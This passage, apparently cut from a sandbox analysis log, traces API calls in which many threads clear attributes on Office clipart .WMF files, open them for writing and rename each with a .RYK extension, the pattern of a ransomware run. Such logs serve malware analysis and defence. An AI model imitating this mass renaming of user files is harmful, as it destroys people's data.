	[0234.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1560
	os_tid = 0x1e68

	[0234.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF", dwFileAttributes=0x80) returned 0
	[0234.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1561
	os_tid = 0x1e6c

	[0234.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF", dwFileAttributes=0x80) returned 0
	[0234.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1562
	os_tid = 0x1e70

	[0234.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF", dwFileAttributes=0x80) returned 0
	[0234.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1563
	os_tid = 0x1e74

	[0234.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF", dwFileAttributes=0x80) returned 0
	[0234.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1564
	os_tid = 0x1e78

	[0234.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF", dwFileAttributes=0x80) returned 0
	[0234.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1565
	os_tid = 0x1e7c

	[0234.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF", dwFileAttributes=0x80) returned 0
	[0234.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.660] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1566
	os_tid = 0x1e80

	[0234.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF", dwFileAttributes=0x80) returned 0
	[0234.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1567
	os_tid = 0x1e84

	[0234.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF", dwFileAttributes=0x80) returned 0
	[0234.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.663] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1568
	os_tid = 0x1e88

	[0234.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF", dwFileAttributes=0x80) returned 0
	[0234.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1569
	os_tid = 0x1e8c

	[0234.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF", dwFileAttributes=0x80) returned 0
	[0234.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1570
	os_tid = 0x1e90

	[0234.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF", dwFileAttributes=0x80) returned 0
	[0234.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1571
	os_tid = 0x1e94

	[0234.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF", dwFileAttributes=0x80) returned 0
	[0234.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.845] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1572
	os_tid = 0x1e98

	[0234.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF", dwFileAttributes=0x80) returned 0
	[0234.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1573
	os_tid = 0x1e9c

	[0234.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF", dwFileAttributes=0x80) returned 0
	[0234.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1574
	os_tid = 0x1ea0

	[0234.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF", dwFileAttributes=0x80) returned 0
	[0234.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1575
	os_tid = 0x1ea4

	[0234.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF", dwFileAttributes=0x80) returned 0
	[0234.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1576
	os_tid = 0x1ea8

	[0234.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF", dwFileAttributes=0x80) returned 0
	[0234.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1577
	os_tid = 0x1eac

	[0234.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF", dwFileAttributes=0x80) returned 0
	[0234.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1578
	os_tid = 0x1eb0

	[0234.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF", dwFileAttributes=0x80) returned 0
	[0234.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1579
	os_tid = 0x1eb4

	[0234.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF", dwFileAttributes=0x80) returned 0
	[0234.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1580
	os_tid = 0x1eb8

	[0234.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF", dwFileAttributes=0x80) returned 0
	[0234.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1581
	os_tid = 0x1ebc

	[0234.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF", dwFileAttributes=0x80) returned 0
	[0234.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1582
	os_tid = 0x1ec0

	[0234.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF", dwFileAttributes=0x80) returned 0
	[0234.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1583
	os_tid = 0x1ec4

	[0234.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF", dwFileAttributes=0x80) returned 0
	[0234.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.082] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1584
	os_tid = 0x1ec8

	[0234.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF", dwFileAttributes=0x80) returned 0
	[0234.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1585
	os_tid = 0x1ecc

	[0234.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF", dwFileAttributes=0x80) returned 0
